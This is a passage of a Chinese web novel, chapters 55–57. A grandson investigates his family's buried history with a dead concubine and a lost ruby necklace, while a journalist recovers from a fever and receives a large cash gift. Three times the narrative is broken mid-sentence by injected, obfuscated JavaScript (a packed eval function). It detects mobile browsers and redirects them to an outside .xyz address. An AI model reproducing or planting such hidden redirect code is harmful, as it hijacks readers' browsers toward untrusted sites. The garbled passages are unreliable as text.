许修远想了想,决定不把自己那些奇怪的经历跟爷爷说的太清楚,只回了两个字:“照片。” “那你觉得这两个人长得像吗?” 许修远没有回答他的问题,而是话锋一转,“爷爷,幕后的人一定不是珺瑶的家人。三姑奶奶和沈新柔的事情没有解决,说不定以后她们母女俩还会借用珺瑶的身体跟我们说些什么。” 他顿了下,“您这次真的太过了,非法监禁,她事后完全可以追究您的法律责任。我送她回家的时候,她跟我说她很生气,她觉得自己是去帮忙的,却没有得到尊重。她很善良,说以后如果能帮我们家解决这件事,她还是会愿意的,但您不能再利用她的善良。” 许忠林闻言,沉默不语。 病房里安静了许久,许修远又问道:“爷爷,您说过其实她不叫沈新柔,而是姓施,那她真名是什么?” 许忠林嗤笑一声,“除了你太爷爷,谁都不知道。你太奶奶曾问过,但自从沈新柔死了之后,你太爷爷就再也没提起过她,甚至还和你太奶奶吵了起来,就是不愿意说。” “那沈新柔有说过家里有几个兄弟姊妹吗?” “你太奶奶说沈新柔进门的时候说过家里就她一个孩子,你太爷爷也是这么说的,不过她连自己的出身都是编的,这一点上也未必是真的。” 许修远沉思片刻,“当年高祖父生了病,沈新柔打算去找她父亲来帮忙看看,但最后没请来,除了这一次外,沈新柔在家里这么多年,没有回过娘家吗?” 许忠林轻咳一声,“除了你太爷爷带她出门之外,你太奶奶说过,省心投她自己倒是不常出门,但常去邮局寄东西。” 说到这里,他蓦地笑了,“不提起这个我都快忘了,当年沈新柔虽然常去邮局寄东西,但是并没有通过邮局,而是托邮局的一个男人送的,就和最近这封信一样。她这么做,无非就是害怕被人知道她的真实身份,可笑。至于她有没有偷偷回去过,你太奶奶并不清楚,因为有时候她出门并没有让家里的司机送她。” 许修远忍不住又问:“三姑奶奶出事之后,沈新柔她——出过门吗?” 许忠林瞥了他一眼,语气隐隐有些不悦,“当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124820|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然,又没有关着她,你太爷爷也不会允许。不过她当时情绪一直不太对劲,所以便安排了家里的保姆时刻跟在她身边照顾,以免她想不开。后来她实在是疯的厉害,没办法才不让她出门。” 安排下人时刻跟在身边照顾。 许修远对此,只想到了两个字,监视。 颜珺瑶外太婆的日记本上写了,当时路上偶遇之时,沈新柔一下子就扑了过来,请她去咖啡厅喝咖啡,可沈新柔刚和她说了几句话,就被身边跟着的婆子给强拉着走了,塞进了车里。 也许就是担心她会把事情说出去,所以之后才以疯病为由,把她关在了家里。 许修远不禁深吸了一口气,“那三姑奶奶说的那条项链,您知道是怎么回事吗?” 许忠林伸手一指,“给我倒杯水。” 许修远起身倒了杯温水递过去,许忠林接过喝了一口,这才回答了他的问题。 “那是你太爷爷专门找人给许薇萍定做的项链,她一出生没多久就有了,你太爷爷非常疼爱她。” 许修远心中思忖,太爷爷对三姑奶奶的疼爱,一方面可能是因为许薇萍当时是家里最小的孩子,还有就是他将对大爷爷的感情都弥补到三姑姑奶身上。 “项链是什么样的?” 许忠林皱着眉,想了片刻,才道:“没什么印象了,只记得项链正中是一只蝴蝶,中间镶了颗红宝石。” 所以三姑奶奶当时在严婆婆那里才会跟他说,发光,蝴蝶,飞飞。 这都对上了。 许修远忍不住好奇:“这是当时族里的习俗,每个孩子出生都会有定做一条项链吗?” 许忠林不禁笑了,但笑意却有几分冷。 “不,家里只有许薇萍有这样的偏爱。沈新柔年轻漂亮,很会哄人,比起你太奶奶,你太爷爷太偏心沈新柔了。” 许修远默然不语,他觉得太爷爷在情感上是更喜欢沈新柔,但他对太奶奶也不差,否则不会劝说沈新柔把儿子寄养在太奶奶名下,太爷爷知道太奶奶的压力,清楚她的内心苦闷。 “那三姑奶奶出事之后,这条项链到底去了哪里,真的是被大姑奶奶抢走了吗?” 许忠林面色有些不自在,很明显不想回答这个问题,许修远只好又换了个问题:“您有办法找到项链吗?” 许忠林把水杯递给他,“应该能。” 许修远清楚,爷爷一定是知道这条项链在哪里。 那就说明三姑奶奶说的没错,她的项链就是被大姑奶奶给抢走了,她的死也是大姑奶奶造成的。 是因为嫉妒太爷爷对家里老幺的偏爱吗? “您这几天先好好休息,您告诉我东西在哪,我帮您去找这条——” 许忠林直接打断他的话,“不用了,我已经让人去找了。” 说完之后,他就闭上了眼,“帮我把床放平,我想休息了。你今晚不用留下来陪我,早点回去吧!” * 颜珺瑶回到住处后,第一时间冲进了浴室,咣咣一顿猛洗,之后吃饱喝足,就直接躺到床上,一沾上枕头几乎就是秒睡。 她睡得七荤八素,迷迷糊糊中手机响了好几次,分不清是做梦还是现实,不过她记得自己好像接了电话,之后就接着睡了过去。 直到耳边传来老妈着急的声音,又感觉到有人摸自己的脸,许久之后她才费力地睁开了眼睛。 是老妈,这一定是做梦。 她闭上眼,翻了个身,想继续睡觉,老妈却仍旧不停地叫着她的名字,最后直接把她从床上拽起来,她才猛地惊醒。 “妈?!你怎么在这?”颜珺瑶还没完全清醒,整个人懵懵的,只觉得浑身难受。 钱艺文又摸了摸她的额头,一脸焦急道:“你这孩子都烧糊涂了,我刚才给你打了电话,还好我过来了,自己发烧都不知道,真是要急死我。” 颜珺瑶这才意识到自己体温不正常,轻轻“哦”了一声。 钱艺文麻利地从衣柜里帮她拿衣服,“赶紧换上,妈妈带你去医院挂瓶。你爸今天凑巧又不在家,也不知道这个点,你这附近好不好打车。” 颜珺瑶一边换衣服,一边说道:“您别急,只是发烧而已,到对面的诊所去打一针就可以了,不用去医院,多麻烦。” 钱艺文狠狠瞪了她一眼,“医院又不远,也就十几分钟的车程,瞧给你懒的!这段时间你动不动就发烧,妈妈实在没法放心,还是去医院检查一下比较好。” 颜珺瑶下意识地说道:“我今天早上做过检查了,没啥毛病——” 话说出口了,她才察觉到自己说了什么。 55. 第 55 章 钱艺文果然急了,“你不会烧了一整天吧?那你中午的时候还在电话里跟我说你在外面采访,你这孩子,怎么不跟我说?” 颜珺瑶赶紧解释:“没有,白天没发烧,只是早上有点头疼,结束采访之后就顺路去医院做了检查,医生说没事。” 钱艺文还是不放心,硬是拉着她打车去了医院,一路上还碎碎念。 “等退了烧,明天就让你外公给你好好调理身体。之前一直做噩梦,好不容易喝药好了,又开始发烧了。” 直到进了医院,躺在病床上,挂上了点滴,钱艺文坐在病床旁,仍在继续说着。 “你这身体就是被你的工作给拖垮了,工资又不是顶高,而且还累,你却偏偏喜欢,也不知道你怎么想的。当老师或考个普通的事业单位,哪个不比你现在这个工作强。” 颜珺瑶已经习惯了母亲的念叨,虽然老妈很不满意她的工作,但一直都没有强硬干涉过她的选择,顶多就是啰嗦几句。 她笑呵呵地拿起手机要点外卖,钱艺文让她好好休息,不要玩手机。 “妈,我是饿了,正要点外卖呢,您要吃啥?” 钱艺文叹了口气,“小祖宗,你好好躺着吧,我直接出去买。” 颜珺瑶百无聊赖地躺在病床上等着,点开和许修远的微信聊天,想了想,又放下了,好像也没什么可说的,便放下了手机。 老妈回来的时候,带了一碗牛肉面,还买了不少水果,都是她爱吃的。 颜珺瑶笑道:“妈,你买这么多,待会儿又要拎回去!” “观察一晚上,要是明天身体恢复了,才能回去。” 颜珺瑶还想说什么,在老妈的眼神威压之下,把话咽了回去,乖乖开始吃面。 等到她吃完面,钱艺文突然“哎呀”了一声,“我这什么记性,刚刚忘记买点洗漱用品了,瞧我这脑子!” 接着又嘱咐道:“注意点吊瓶里的药,别睡着了,快滴完了,记得按呼叫铃,你还有一瓶药。” 说完之后才再次离开了病房。 * 夜里的电梯特别快,很快就上来了。 许修远踏进电梯,盯着显示屏上不断跳动的数字,不禁揉了揉眉心。 爷爷很明显还是没有放弃要对付二太奶奶和三姑奶奶母女俩的想法,他了解爷爷,老爷子就是想斩草除根,以绝后患,爷爷根本没有把他的建议听进去。 三姑奶奶心心念念的那条项链一定还在,而且爷爷必然是知道项链的下落。 可爷爷的态度却很暧昧,嘴上说着会想办法找回项链,但他觉得爷爷似乎并不愿意,只是在拖延,爷爷估计是在等着找到更厉害的先生。 不过他现在可以基本确定,当年项链确实是大姑奶奶抢走了,并且把项链留在了自己手上。 爷爷知道这件事,那很可能太奶奶也是知情的,即使在大姑奶奶生前的时候太奶奶并不知道,但在大姑奶奶离世之后,太奶奶整理大姑奶奶的东西应该是会发现的。 至于太爷爷,可能真的不知道,也可能心里是有数的,但已经没了一个孩子,他不想再牺牲一个孩子的名声,又或许是出于对家族声望考虑,他只能当做不知道自己大女儿间接害死了自己的小女儿这一回事。 不过爷爷说过,当年的车祸是太爷爷亲自调查的,他不信太爷爷会不知道。家里那么多下人,大姑奶奶把三姑姑奶带出去,必然有人是知道的,至少负责照顾大姑奶奶和三姑奶奶的两位保姆一定知道些什么。 可太爷爷为了孩子的名声,家族的名声,他选择装聋作哑,面对沈新柔的歇斯底里,拼命要为孩子讨回公道,他应该是和稀泥。爷爷觉得太爷爷偏心,但他却觉得太爷爷对沈新柔亏欠良多。 而在大姑奶奶离世之后,她的首饰很可能是太奶奶收着,或者是都留给了二姑奶奶。如果是太奶奶收着,那就有可能还在家里。他印象里,老宅里有一个房间专门是用来放太奶奶和太爷爷生前的东西。 如果是给了二姑奶奶—— 她过世多年,她的首饰应该在表舅或表姑那里。 * 叮的一声,打断了思绪。 电梯门打开,许修远出了电梯,往大门走去。 时间很晚了,一楼大厅很是冷清,在前面走的一个身影听到身后的动静,下意识地回头瞧了一眼,许修远迎上对方的视线,双方皆是一愣。 是张熙杰。 如果不是他昨晚及时给自己打电话,事情很可能会闹得更严重。 许修远朝他微笑颔首,突然想起那位汤老先生是他爷爷,汤老先生最近生病了,现在应该是住院了。 张熙杰站定,转过身,“这么巧,许总怎么也在这?” 许修远顿了顿,“我爷爷住院了。” 张熙杰眉心微动,微微张开的嘴抿了下,点了点头,“我很好奇,许董这么厉害的人物,有什么事需要珺瑶帮忙的,而且还是在没有信号的地方,是不想让人知道吗?连续两天无法跟外界联系,珺瑶事先知情吗?” 许修远一时语塞,并不介意他的嘲讽,暗暗叹了口气,“谢谢你昨晚的电话。” 张熙杰冷笑了一声,“许总客气了,我是为了珺瑶。许家名门望族,我们——只是普通老百姓而已。” 许修远微微蹙了下眉,这话的意思就十分明显,就差明着说他们许家仗势欺人,但在这件事情上,爷爷的做法无疑坐实了这一点。 就在这时,身侧突然传来一道不确定的声音,“小杰?” 张熙杰转头看去,愣了下,随即笑着迎了上去。 “阿姨,您怎么——”说到这里,他顿了顿,“您身体不舒服吗?” 钱艺文边走边说道:“不是我,是珺瑶那丫头,发烧了都不知道,幸亏我过去看她,不然得烧傻了,本来就够笨的,哎——” 她看向男主,只觉得眼熟,很快想了起来,说道:“你不是——” 许修远微笑着介绍自己,“阿姨,您好,我是珺瑶的朋友,许修远。” 张熙杰瞅了一眼许修远,又看了看钱艺文,有些好奇他们俩什么时候见过的。 “哎,你好。” 钱艺文下意识以为许修远是来看自己闺女的,但又觉得不像。 敲了敲两个年轻小伙子,觉得两人应该也是朋友,便说道:“你们俩继续聊,我出去买点东西。” 张熙杰跟了上去,“阿姨,很晚了,我陪您出去!” 钱艺文忙推辞,“不用不用,你赶紧上去陪你爷爷吧!就一段路,没事的。” 张熙杰解释道:“今晚是我爸在病房陪着爷爷,我没什么事,等会儿去看看珺瑶再回去。” 钱艺文没再拒绝,忍不住又跟他抱怨起来,“你们这个工作太辛苦了,那个傻丫头就是累坏了,你也要注意身体,平时多休息,别那么拼命。” * 许修远安静地看着两人走出了住院楼,询问了值班护士之后,就去了颜珺瑶的病房。 到了病房门口,灯还亮着,里头有声音传来,像是在刷视频,应该是还没睡着。 他敲了敲门,里头的声音倏地停了,就听到颜珺瑶问道:“谁?” “是我,许修远。” 颜珺瑶眨了眨眼睛,“许总?” 许修远推门进了病房,颜珺瑶正一手拿着手机,一手拿着香蕉,很是诧异地看着他。 颜珺瑶敛了敛神色,笑呵呵地问道:“你怎么知道我在医院?” 她指着病床边的一张凳子,“快坐!” 许修远坐到了床边,仔细打量了她的脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133582|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又瞅了一眼输液瓶,“退烧了吗?” 颜珺瑶下意识摸了下自己的额头,“嗯,差不多了,没什么大问题,我妈不放心,硬要我来医院。” 许修远垂下了眼眸,片刻后又看向她,“珺瑶,对不起!” 颜珺瑶笑嘻嘻地,“没事,和你没关系,你不用道歉。” 她转移了话题,又问道:“对了,你怎么知道我在医院的?” “我在大厅碰到你妈妈,还有你朋友张熙杰,他陪你妈妈出去买东西了。” 颜珺瑶了然地“哦”了一声,又意识到什么,“你这么晚在医院,是——” 她顿了下,换了个措辞,“是探病?” 她其实想问是不是他爷爷生病住院了,毕竟早上发生那样的事情,他爷爷年纪挺大的了,有可能身体会承受不住那么大的刺激。但她没问出口,因为如果不是的话,这么问就不好听,毕竟不太吉利,有些人会有此忌讳。 许修远“嗯”了一声,又瞅了一眼输液瓶,起身关了,又按了呼叫铃。 颜珺瑶见他并不想多说,也就没有多问。 许修远重新坐下,“昨晚是你朋友给我打的电话,跟我说我爷爷给你请了假,而且你的手机一直无法接通。” 颜珺瑶点点头,怪不得他会突然出现在那里。 她明白许修远心里的愧疚,她是对许老爷子很生气,但她知道事情和他无关。 她伸手扯下一根香蕉,递过去,笑着问道:“吃吗?可甜了,我妈刚刚买的。” 许修远接过了香蕉,对上她含笑的眼眸,不禁也跟着笑起来。 护士进了病房,给颜珺瑶把另一瓶药给换上了,就又出去了。 没多久,钱艺文和张熙杰就回来了。 钱艺文看到许修远坐在病床边和自己女儿有说有笑,有些意外,张熙杰倒是并不惊讶,神色如常。 许修远站了起来,再次和钱艺文问好,又朝张熙杰点了点头。 颜珺瑶忙给老妈介绍,“妈,我朋友,许修远。” 钱艺文觉得许修远斯文有礼,长得又好,对他印象很是不错,笑呵呵地让他坐,又给他拿水果让他吃。 颜珺瑶看向张熙杰,“你今晚是不是在医院陪汤爷爷?” “不是,今晚是我爸陪床。” 钱艺文接过话,“小杰知道你发烧了,特意过来看你的,刚才还专门陪我出去买东西。” 时间不早了,许修远和张熙杰也没有多待,没多久就一起离开了病房。 两人安静地走着,快到停车场的时候,许修远的手机倏地划破了死寂的夜色。 张熙杰的余光瞥见许修远放慢了脚步,径直往前走去。 电话是许修远的助理何文旭打来的。 “许总,您给的地址附近基本上没有摄像头,一个小超市门口倒是拍到了这个中年男人经过的身影,但是之后就找不到了,因为附近有不少小巷子。” 虽然有些失望,但在意料之中,许修远让助理把视频发给他看看,又道了一声辛苦,便结束通话。 从张熙杰车前经过时,张熙杰恰好打开了车前大灯,启动了车子。 许修远下意识转头看去,和他对视了一眼,朝他点点头,收回视线的时候,他突然注意到副驾驶座上的东西。 他又偏过头去,微微眯了眯眼。副驾驶座上放着一个纸袋子,而最上面扣着一顶帽子。 一顶鸭舌帽。 张熙杰的车子缓缓驶离停车场,许修远站在自己的车前,突然想起几个小时前那个快递小哥说的话。 一顶棕色的鸭舌帽,边沿一圈是黄色,款式很时尚,像是年轻人戴的那种。 而张熙杰车上的那顶帽子,很符合这个描述。 会有这么凑巧的事情吗? 56. 第 56 章 病房里,钱艺文正一脸好奇地看着自家闺女。 颜珺瑶知道老妈要问什么,不待她问出口,赶紧解释道:“朋友,普通朋友,别想多了。” 钱艺文“啧”了一声,白了她一眼,“那个年轻人长得蛮不错的,看起来也很有涵养,不错的孩子。” 颜珺瑶“嗯嗯”地随口应着,转头又去拿香蕉吃,被钱艺文制止。 “大晚上的,别吃太多。” 说完就给她倒了杯温水,随后又忍不住问道:“那孩子多大了?做什么的?” 颜珺瑶撇撇嘴,又开始了。 她刚要张口,钱艺文就立即找补道:“妈妈知道你们是普通朋友,妈妈就是好奇啊,随便聊聊。” 说着就剥了一颗龙眼塞到颜珺瑶手里,拿走了杯子。 都这么说了,她还能怎么着呢? 颜珺瑶想了想,不太确定道:“好像是二十八——” 钱艺文“哦”了一声,又笑道:“大你四岁,那他做什么工作的?” “开公司的。” 钱艺文顿了下,倒也不觉得意外,从那孩子的穿着打扮就能看出来经济条件不差的。 “年轻人创业也挺好的,他公司是做什么的?有多少人?” 颜珺瑶吐出嘴里的核,伸手又拿了一颗龙眼,“他们集团涉及不少行业,员工肯定很多。” 说完之后,就低头用劲地捏着,果壳很快裂开,她满意地放到嘴边,再一挤,果肉就跳进了嘴里。 钱艺文愣了下,脱口而出道:“富二代?” 颜珺瑶摇头,“不是!” 她想了想,许家应该富了好几代了,到许修远这,是第几代呢? 于是又说道:“姑且算是富四代吧!” 钱艺文不禁蹙了蹙眉,似乎想到了什么,身子前倾,压低了声音问道:“是言午许,许家?” 颜珺瑶扬了下眉头,说道:“嗯,您也知道吗?” 钱艺文沉默了须臾,不答反问:“你和他怎么认识的?” 颜珺瑶思考了片刻,“许家老爷子认识我师父,同意让我师父专访,出自传,我师父就带我去了许家,所以就认识了。” 钱艺文放心地“哦”了一声,“看着倒是正经孩子,不像是纨绔子弟,花花公子。 他们家前段时间是不是出事了?” “嗯,他父亲出车祸走了。” 钱艺文惋惜地叹了一口气,没再说什么,伸手又剥了一颗龙眼塞到她嘴里,“最后一个了,不能再吃了。” * 许修远回到老宅,直接去了二楼的书房。 他翻找了许久,没有看到任何太爷爷留下来的什么日记或随笔。 随后又去了专门放置太爷爷和太奶奶东西的房间,也没有找到符合爷爷描述的红宝石项链。 许修远决定还要再问问表舅和表姑,看看他们手上有没有这条项链。 回房的时候,他忍不住瞥了眼往上的楼梯,踟蹰了几秒,回房拿了钥匙,再次上了三楼。 现在早已经过了十二点,而且颜珺瑶那边也有她妈妈陪着,打开面前这扇门,肯定是不会见到她的,至于二太奶奶—— 许修远深吸一口气,对着门板低声说了一句:“打扰了,二太奶奶——” 而后咔哒一声,转动钥匙,进了房间。 没有任何诡异的地方,只有一屋子的死物。 按下墙上的开关,暖黄色的灯光瞬间洒下。 乍一看,屋子里没有什么变化,和上次进来看到的差不多。 可今天二太奶奶突然出现,这就说明赵敬鸿的方法并没有困住她。 赵敬鸿今天又跟着爷爷回来过,他难道什么都没做吗? 暂时抛开这个念头,许修远回想起之前找过这里,同样没有找到类似日记之类的本子,倒是有几本书,不过当时没有仔细翻看。 他再次仔仔细细地查看了各个能放东西的地方,梳妆台,首饰盒,还有衣柜,置物柜等,确实只有三本书,没有日记本。 三本书,其中一本是当时的武侠小说,一本是醒世恒言,另一本是随笔录。 他一页页地翻找,书里没有夹着任何其他东西,也并没有什么批注或读书感言。 可以看的出来,醒世恒言和随笔录应该是多次阅读,而武侠小说却还没读完,在大约三分之一处折了书页。 许修远心头突然泛起一种说不清道不明的感觉,也许这是在三姑奶奶出事的前一天沈姨娘折下的,但自从孩子出事,她就再也没有心思继续阅读。 她的人生似乎也像这张书页,永远停留在了那一天。 将书本放回原位,外头晨光微熹,天快亮了。 * 许修远实在是好奇,既然二太奶奶在三姑奶奶出事之后,身边一直有人监视着,那么她的家人是怎么知道这件事的呢? 难道是当时二太奶奶葬礼时,她父亲把她的东西都带走了,里面就有日记本? 不对,爷爷说了二太奶奶的父亲当时只带走了几件二太奶奶和三姑奶奶生前穿过的衣服,连首饰都没要。就算二太奶奶有日记本,太爷爷和太奶奶也不会让其父带走的。 许修远猛地想起一个人,那个偶尔会来家里给二太奶奶送新鲜瓜果的乡下妇人。 二太奶奶曾说对方是她的远房亲戚,难道是她? 可也不太对,当时二太奶奶在外面碰到颜珺瑶的外太婆,没说几句话就被身边跟着的阿姨带走了。 如果这个妇人又上门送瓜果,二太奶奶即使能见她,身边也不会没有人,估计也没办法告诉这个妇人什么。 那会是谁呢? 许修远沉思良久,想来想去,好像只剩一种可能了。 那就是二太奶奶在生命的最后阶段写了信,偷偷让哪个下人帮她送信,否则她的家人似乎没法能知道许家的事情。 天已经亮了,许修远揉了揉眉心,接下来还有很多事情要做。 他正要准备离开这里,却在经过衣柜的时候,停了下来。 他打开了衣柜中的暗格,但这一次,他没看到沈新柔的那张照片。 * 颜珺瑶好好睡了一觉,一大早醒来的时候觉得精神好了不少,就着急着要去办出院手续。 钱艺文没反对,但也要等医生上班了才可以,这会儿才七点多。 颜珺瑶只好把东西先收拾好了,坐在病床上一边吃着龙眼,一边焦急地等着。 钱艺文正在边上劝她今天好好休息一天,别去上班。 “妈,我这几个月请假太多了,不能再请了,别人会有意见的。” 钱艺文忍不住白了她一眼,“你请的都是病假,又不是故意旷工,你就是累出来的——” 说完之后,长叹了一口气,也没有再劝。 就在这时,许修远出现在了病房门口,但并没有贸然进去,而是敲了下门。 病房门没关,颜珺瑶一抬眼就看见了他,很是讶然,“你这么早啊——快进来!” 许修远和钱艺文问了好,将手上的东西放下,看向颜珺瑶,“你今天感觉怎么样?” “嘿嘿,我正等着出院呢!都好了。” 钱艺文见许修远带来的都是贵重东西,不好意思收,但颜珺瑶却大大方方地收下了,还跟许修远开玩笑道:“回头我会好好补补的。” 钱艺文见状,也就不再说什么。 许修远放了心,没多待,很快就走了。 不多会儿,颜珺瑶去办了出院手续,母女俩离开医院的时候,颜珺瑶就听老妈嘀咕着。 “你这孩子怎么给收了,你年纪小,不认识这些东西,他送的都非常贵重,有些甚至都不好买到,你们俩只是普通朋友而已,怎么能收呢?” 颜珺瑶笑嘻嘻地说道:“妈,你放心,我之前帮过他一个小忙,这个是他的心意,不收反而让他过意不去。” 钱艺文叹了口气,只好说道:“算了,收了就收了吧!回去之后妈妈给你好好补一补,调理一下身体。有钱人真的是大方到吓人,你说以后要是回礼,你该送什么呀,真是头疼!” “你就别操心了,我肯定是送我能力范围内的礼物呀!总不能打肿脸充胖子吧!” 回了家,颜珺瑶来不及洗澡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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颜珺瑶摇头,“没有,他只是问我身体怎么样了。” 张熙杰顿了下,朝四周看了看,拿出手机打字问她:许忠林找你到底是做什么,为什么会一直没有信号?你怎么突然就发烧了? 颜珺瑶拿过他的手机,正要打字,突然听到有人叫了他们俩的名字。 “你们俩凑一块说什么呢?中心商场有新闻了,赶紧的。” 颜珺瑶和张熙杰都一惊,下意识回头,是师父江成。 江成看向颜珺瑶,“你身体可以吗?” 颜珺瑶赶紧站起来,忙不迭点头,“没问题,没问题,绝对没问题。” 江成笑了,“那都走吧!” * 一上午辗转两个地方采访,奔波了几个小时,大家回到单位的时候,已经过了中午下班的时间。 大家都只是匆匆忙忙地点了外卖,加紧出新闻,写稿子,剪片子。 颜珺瑶正对着电脑屏幕敲着键盘,张熙杰就帮她把外卖拿了过来。 她知道他是等着自己的答案。 趁着这会儿周围没什么人,她压低了声音,又一次说了谎。 “许忠林找我是帮他整理家族史,地点比较偏,应该是因为这个,所以没有信号。不过他请了一个阿姨给我做饭,一直陪着我。” 张熙杰根本不相信,昨晚许修远的反应已经说明事情不简单。 “真的?” 颜珺瑶低头吃饭,不敢看他,只是胡乱地点头,“嗯,真的。” 张熙杰忍不住说道:“许家人是不是欺负你了?如果是的话,你别有顾虑,我——” 颜珺瑶赶紧打断他的话,“没有,你别担心,真的。” 张熙杰坐在她身边,看了她好一会儿,颜珺瑶有些食不下咽。 她挺心虚的,张熙杰这么关心自己,但自己却说谎骗了他。 可那些奇怪的事情说出来,且不说张熙杰会不会相信,就算他相信,她也不想把他扯到这里头来。 颜珺瑶不自在地拿起手机,“我请你喝奶茶啊,你还是和之前一样吗?” 张熙杰不答反问:“珺瑶,你家里——有姓施的亲戚吗?” 57. 第 57 章 颜珺瑶愣了一下,“姓施?” 她歪着头努力想了想,“好像有,不过比较远,我姨婆的女婿,也就是我表姑丈,就是姓施。怎么突然问这个?” 张熙杰笑了笑,“没什么,我还和之前一样,只加椰果,三分甜。” 回到自己的工位,脑子里想的是昨天朋友在电话里对他说的话。 许修远的太爷爷确实叫许天佑,有两位姑奶奶,是双胞胎,大的叫许曼珍,小的叫许清岚,也没有改过名,许家就没有一个叫许薇萍的。 朋友还发了一张许天佑的照片给他,和他在爷爷那找到的那张照片上的男人一模一样,说明照片上的男人就是许修远的太爷爷。 那么只可能是许修远的太爷爷养在外面的女人,可这个女人怎么会和颜珺瑶长得这么像? 按岁数来推算的话,那么最有可能和这个女人直接有关的,是颜珺瑶的爷爷或奶奶,外婆或外公。但据他所知,颜珺瑶的这四位亲人的出生没有任何问题,都是父母亲生的孩子,并不是抱养的。 至于颜珺瑶,就更不可能是抱养的了,她和她爸爸长得那么像,而且是大家看着出生,看着长大的。 她一定没对他实话。 他和她从小一起长大,对她很了解,刚才她就是说谎了。 许家那么大的公司,许忠林身边那么多人,难道就找不到一个可以信赖的,文笔好的人了吗? 直觉告诉他,许忠林找上颜珺瑶,很可能是和这个叫施晓梦的女人有关。 怪不得老江说过,他和珺瑶第一次去采访许忠林的时候,那天许忠林的反应有些奇怪,结果那次采访没说几句,就以身体不适为由提前结束了。而且许忠林那边很快就通知了老江,要求下一次只要他一个人去就可以。 所以许忠林一定是见过这个施晓梦的,他在怀疑女主是施晓梦的后人? 他到底找珺瑶有什么事呢? 爷爷为什么会有这张照片? 他和这个施晓梦或是许薇萍有什么关系吗? * 颜珺瑶这边却暗暗松了一口气,下单了奶茶,把剩下的饭吃完。 她正要去外面扔外卖盒的时候,就接到了一个电话。对方是快递员,说是她的快件到了,问她在不在。 颜珺瑶莫名,想不出来谁给她寄了东西,但还是赶紧走出了办公室,签收了快件。 一看,快递单上并没有任何送信人的信息,快递员也不清楚。 快件很轻,不知道里头到底是什么。 回到工位,颜珺瑶犹豫了几秒,还是把快递拆开了。 令她意外的是,居然是一张银行卡。 这—— 自己最近没办过银行卡啊,怎么会突然收到这个? 边上的吕嫣探过脑袋,好奇地瞅了一眼,随口说道:“你开卡啦!” 颜珺瑶只好笑了笑,正在她满头雾水之时,手机嘀了一声,进来了一条短信。 她刚要查看信息,手机直接响了,是一个陌生号码。 接起电话,耳边传来温和的中年男声:“颜小姐,打扰了,东西收到了吗?” 颜珺瑶只觉得这声音很耳熟,蓦地反应过来,这是许家的那位管家,宗叔。 她攥着那张卡,又出了办公室,寻了个僻静的地方,这才说道:“宗叔,您——这是什么意思?” 宗叔笑着说道:“这是许老先生的意思,前两天辛苦颜小姐了。在您签收之后,我已经转了五十万进去,算是老爷子的一点心意,还望颜小姐一定要收下,密码我也发给您了。我就不打扰颜小姐工作了,再见!” “……” 颜珺瑶呆愣在原地,举着那张银行卡傻傻地盯着看,什么情况? 有钱人家都是这么感谢人的? 太——太吓人了! 她好不容易平复了情绪,同手同脚地回到了办公室。 这钱肯定是不能要的,只能通过许修远还给他爷爷了。 点开微信,找到和许修远的对话框,本想问他晚上有没有时间,但又放弃了,她害怕自己晚上和他单独见面,又被附身,万一出了什么事—— 要不直接寄到他的公司?貌似不太安全。 宗叔刚才的意思是,她刚收到银行卡的时候,还是张空卡,在签收之后,他才把钱转进去的。 现在这张卡可是有五十万现金那么重,用快递寄送的话,要是丢了,那自己得哭死,莫名其妙地背上这么多债务。 她更不好意思再请假,趁着天还没黑把卡送到他的公司,只能等明天了。 如果中午有时间的话,她就亲自送到许修远那儿,绝不假以他人之手。 * 下午四点多,钱艺文给颜珺瑶打电话,让她晚上一定要回去吃饭,她答应了。 下班后,她蹭了张熙杰的车回去。 一到家,第一眼就看到放在客厅的好几盒东西。 这是什么情况? 钱艺文听到动静,立马从厨房出来,及时给她解惑:“我刚才刚到家没多久,就有人送过来了,说是许先生送的,应该就是许家那孩子送的。早上送了一次,现在又送,这真的太破费了,还是得还回去——” 颜珺瑶脑抽地说了一句,“哦,应该是他早上的时候一个人拿不了太多,只能分两次了——哎呀——” 正说着话,胳膊上突然挨了一下,颜珺瑶赶紧躲开。 钱艺文斜晲了她一眼,“这些必须还回去,真的太多了,得花不少钱,就算你帮过他一个小忙,早上送了一次就可以了,这些不能收,一定不能收——” 颜珺瑶心想,我包里还有更多钱,我也想还回去。 “我突然想起来——”钱艺文蓦地拍了一下脑门,“上次你车祸住院,也有人送了类似这么高档贵重的补品,不会就是这孩子吧?” “……嗯。”其实她的出租房也有,之前不敢拿回来,现在算是有了理由了。 “哎呀,那这些就更不能收了!”钱艺文催她,“你赶紧联系那个孩子,委婉地跟人家说啊!别忘了!” 颜珺瑶想了想,“还是收了吧,这是他的心意,都已经送到家里了,再还回去不太好。” 钱艺文愣了下,叹了口气,“我糊涂了,你说得对,还回去不好看,你们俩毕竟也是朋友。哎,这孩子真的太客气了。” 说完还不禁摇了摇头,转身进了厨房。 颜珺瑶拿出手机拍了张照,点开微信发给许修远。 【你送的太多了。】 许修远没有回复,颜珺瑶就进了厨房帮忙。 